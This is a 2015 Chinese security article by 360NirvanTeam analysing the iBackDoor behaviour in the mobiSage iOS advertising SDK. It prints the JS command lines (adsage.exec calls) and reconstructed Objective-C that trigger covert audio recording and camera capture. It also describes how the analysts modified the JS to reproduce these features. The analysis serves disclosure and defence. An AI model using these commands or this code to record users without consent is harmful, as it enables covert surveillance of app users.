当前位置:安全客 >> 知识详情

mobiSage SDK iBackDoor恶意行为分析及重现报告

2015-11-13 18:12:53 阅读:23399次 收藏 来源: xc_panda@360NirvanTeam 作者:360NirvanTeam

        前言:

       艾德思奇(adSage)成立于2007年,数字营销公司,致力于为客户提供数字媒体营销领域的服务。

       FireEye 爆iBackDoor高危后门iOS APP,涉及5.3.3 to 6.4.4 版本,之后 7.0.5版本清除了后门功能。

       iBackDoor 被爆有后门,可以上传录音,截屏,增删改查app数据,利用URL scheme打开其他app,安装企应用等功能,本文通过对iBackDoor样本的分析,具体分析它的功能以及还原测试iBackDoor 录音和截屏的功能。

       360NirvanTeam(涅槃团队)具体分析了iBackDoor的录音和截屏功能,并还原实现测试。



0x01 样本抓取

       因为最新版本SDK已经修复了这个功能,涅槃团队的xc_panda在网络上搜索没有找到样本SDK,但通过对特征码的追寻找到了样本,然后开始分析。



0x02 主要实现流程分析

       iBackDoor首先发送设备自身的JS包信息到 http://entry.adsage.com/d/ 网址(网址是加密存放的),检查是否已经是最新,如果不是返回最新打包JS代码的url,版本等

http://p6.qhimg.com/t01cbd423331352e3a9.png

信息。


如图可见目前的JS包还存在,没有被撤掉。

http://p1.qhimg.com/t0163e0204cf2ac890e.png

然后GET方式获取最新版本的JS打包zip文件,解压缩,放在App Cache目录下。

http://p4.qhimg.com/t016498c2adae2e8dd6.gif

zip 的目录结构如下:

       APP 首先会访问 index.html,然后 index.html会加载sdkjs.js,sdkjs.js包含了JS代码,App 在函数中通过js代码传递的参数来进行函数调用。也相对的增加了安全工作者分析的难度。

index.html代码如下:

http://p7.qhimg.com/t010591577a29a5f0b3.png

然后它会调用 js代码

       在html文件中的loadResilt函数被发送到APP后,APP会执行相应的函数。它动态的获取函数地址,然后执行。如 发送 loadResult 就执行 loadResult:  和 loadResult:withDict: 函数。看 MSageCoreJSManagerPlugin 是否有这两个函数。如果有就执行。能够使用的函数如下所示,通过函数名称能猜测相应的功能。:

-[MSageCoreJSManagerPlugin versionUpdate:]  __text 000B8490 000001D8   R . . . B T .
-[MSageCoreJSManagerPlugin loadResult:]     __text 000B8668 000001CE   R . . . B T .
-[MSageCoreJSManagerPlugin inBlackList:]    __text 000B7DE4 0000030C   R . . . B T .
-[MSageCoreJSManagerPlugin heartbeat:]      __text 000B8838 00000002   R . . . . T .
-[MSageCoreJSManagerPlugin getVersionList:] __text 000B80F0 000000E8   R . . . B T .
-[MSageCoreJSManagerPlugin getVersionInfo:] __text 000B81D8 000002B6   R . . . B T .

       调试JS代码发现,代码最后在下面这段代码循环,不停的遍历命令队列,发送命令给APP,让APP执行,分析APP发现 当发送 adsagejs://ready时,APP 并没有执行什么特殊功能。

http://p7.qhimg.com/t01433e664642a7d8c2.png

分析APP跟踪参数如下:

http://p3.qhimg.com/t01e9bb6a677a4f28f4.png

       可以看到可以通过控制发送不是adsagejs://开头来控制执行一些功能,如安装企业应用,打电话,发邮件短信等。

       如果是 adsagejs:// 开头的会执行如下函数:

http://p5.qhimg.com/t017b30a18e600ab30b.png


http://p2.qhimg.com/t019cef0a879cf24b26.png

APP执行JS代码获得JS代码中传递的命令。然后将命令添加到队列如下:

       然后依次解析命令,执行命令,判断结果,如下图:

http://p1.qhimg.com/t0117ee71bbe83ecf4a.png

分析APP 发现,当JS代码中出现

adsage.exec(className, methodName, argsList, onSuccess, onFailure);

语句,App就会相应的执行某些函数。比如可以发送录音,截图,播放音乐等操作。

当在传递类名时,会作一个转换,将对应类名key 换成 对应类名value。

Key: MSageCoreCompass for value: MSageCoreCompass
Key: MSageCoreJSManager for value: MSageCoreJSManagerPlugin
Key: MobiSageConfig for value: MobiSageConfigPlugin
Key: MSageCoreSystemDB for value: MSageCoreSystemDB
Key: MSageCoreMotion for value: MSageCoreMotion
Key: MSageCoreCleanCache for value: MSageCoreCleanCache
Key: MSageCoreDevice for value: MSageCoreDevice
Key: MSageCoreKeyChain for value: MSageCoreKeyChain
Key: MSageCoreKVDB for value: MSageCoreKVDB
Key: MSageCoreLocation for value: MSageCoreLocation
Key: MSageCoreNetwork for value: MSageCorePluginNetWork
Key: MSageCoreUIManager for value: MSageCoreUIManagerPlugin
Key: Logger for value: MSageCoreLogger
Key: MobiSageJSAdPlugin for value: MobiSageJSAdPlugin
Key: MSageCoreTool for value: MSageCoreEncryptPlugin
Key: MSageCoreFile for value: MSageCorePluginFileModule

http://p9.qhimg.com/t018175bf4783bb1691.png

http://p4.qhimg.com/t010c318d37f8bfe2c3.png

然后每个类名对应很多的函数,如下所示例:

http://p3.qhimg.com/t017e5f05904ea5bfd6.png

如录音和截图操作,需要执行JS命令:

录音:

adsage.exec("MSageCoreUIManager", "captureAudio", [“xcq_panda", 10, 40], 0, 0);

截图:

adsage.exec("MSageCoreUIManager", "captureImageRequest", {"frame":{"top":0,"left":0,"width":400,"height":400},"position":1,"webViewId":"adsage"}, 0, 0);//开始摄像
adsage.exec("MSageCoreUIManager", "captureImage", ["duoyu?",1,"captureImage.png"], 0, 0);//截图
adsage.exec("MSageCoreUIManager", "captureImage", ["duoyu?",2,"captureImage.png"], 0, 0);//停止截图

JS代码中出现这些代码,那么就是传递命令给APP,然后执行相应操作。



0x03 JS代码执行分析

JS 最后会循环在如下图所示地方:

http://p6.qhimg.com/t0186bd82eb0cb1720f.png

如果想执行JS代码,那么我们可以在JS代码中添加代码执行功能。

http://p9.qhimg.com/t01bfe25bed8d0cb700.png

如我们需要截图,就修改JS代码如下:

http://p1.qhimg.com/t01b0e7690a9b51439f.png

0x04 录音和截图功能具体分析

录音分析:

当JS代码中执行 adsage.exec("MSageCoreUIManager", "captureAudio", [“xcq_panda", 10, 40], 0, 0); 命令,APP会执行如下图代码:

http://p5.qhimg.com/t01413e2e95e45de09a.png

接着执行函数char __cdecl -[MSageCoreCaptureManager startAudioCapture:withPlugeIn:](struct MSageCoreCaptureManager *self, SEL a2, id a3, id a4)

http://p7.qhimg.com/t0170968115e630ad32.png

逆向代码如下:

AVAudioSession * avSession = [[AVAudioSession sharedInstance] isInputAvailable];
[avSession setCategory:AVAudioSessionCategoryRecord error:];
[avSession setActive:1 error:nil];
//这是录音前的准备,要实现录音,还需要AVAudioRecorder对象
NSString *tmp = [NSTemporaryDirectory() stringByStandardizingPath];
AVAudioRecorder *AvRecorder =
[AVAudioRecorder alloc] initWithURL:[NSURL fileURLWithPath:[NSString stringWithFormat:@"%@/audio_%03d.wav",tmp,i] isDirectory:1]
                                        settings:0 error:nil];
[AvRecorder setDelegate:self];
[AvRecorder setMeteringEnabled:1];
[AvRecorder prepareToRecord];
[AvRecorder record];
[AvRecorder recordForDuration:param];

代码解释:控制JS代码控制录音时间,APP 录音需要用户赋予权限,第一次运行会请求访问摄像机的权限。

截图分析:

截图操作有点复杂了,需要三条JS命令来进行截图。

adsage.exec("MSageCoreUIManager", "captureImageRequest", {"frame":{"top":0,"left":0,"width":400,"height":400},"position":1,"webViewId":"adsage"}, 0, 0);//开始摄像

APP收到JS代码后执行命令如下:

http://p1.qhimg.com/t01322e1b3cfb9033a3.png

接着执行

http://p0.qhimg.com/t014512b64759959837.png

逆向代码如下:

AVCaptureSession *session = [[AVCaptureSession alloc] init];
[session setSessionPreset:AVCaptureSessionPresetPhoto];
NSArray *devices = [AVCaptureDevice devicesWithMediaType:AVMediaTypeVideo];
或者AVCaptureDevice *device = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:device error:&error];
[session addInput:input];
NSDictionary *dict = [[NSDictionary alloc] initWithObjectsAndKeys:@[AVVideoCodecJPEG, AVVideoCodecKey, 0]];
AVCaptureStillImageOutput * out = [[[AVCaptureStillImageOutput alloc] init] setOutputSettings:dic];
[session addOutput:out];
[session startRunning];
AVCaptureVideoPreviewLayer *layer =
[[AVCaptureVideoPreviewLayer layerWithSession:session] setVideoGravity:AVLayerVideoGravityResizeAspect];
[[UIView alloc] layer addSublayer:layer];
NSInteger num =  [[UIApplication sharedApplication] statusBarOrientation];//The current orientation of the app's status bar.
[CATransaction begin];
[[layer connection] setVideoOrientation:num+1];

代码解释:设置开始录像。

然后JS代码后面还要紧跟着另外两条JS语句:

adsage.exec("MSageCoreUIManager", "captureImage", ["xcq_panda",1,"captureImage.png"], 0, 0);//截图
adsage.exec("MSageCoreUIManager", "captureImage", [“xcq_panda",2,"captureImage.png"], 0, 0);//停止截图

执行代码如下图:

http://p3.qhimg.com/t0169a3b731483e4165.png

http://p0.qhimg.com/t018ebcc571f627f4cb.png

     代码解释:当传递参数不同,执行函数也不同,如上图,解析 数组第二个元素是2 那么结束,如果是1就截图。

    截图操作并不需要弹框提示需要权限。


0x05 录像演示录音和截图功能:



0x06 总结

1)此SDK明显不是简单的进行广告推广,具有明显的恶意行为,截图,录音等。

2)用JS 代码配合Object C 语言来进行交互也算是一种比较”新颖“的方式,如果再加入混合加密的方式,会更增加逆向的难度。

3)受影响app列表单独给出。


0x07 参考文献

https://www.fireeye.com/blog/threat-research/2015/11/ibackdoor_high-risk.html


本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/2263.html

参与讨论,请先 | 注册 | 匿名评论
发布
用户评论
战五渣 2015-12-04 11:39:57
回复 |  点赞

您好,我对移动广告的安全漏洞很感兴趣,但一直没找到5.3.3-6.4.4间的sdk版本,能否把您找到的mobisage带该后门的sdk发我一份?如您愿意,请发到1140186294@qq.com这个邮箱,不胜感激~

查看更多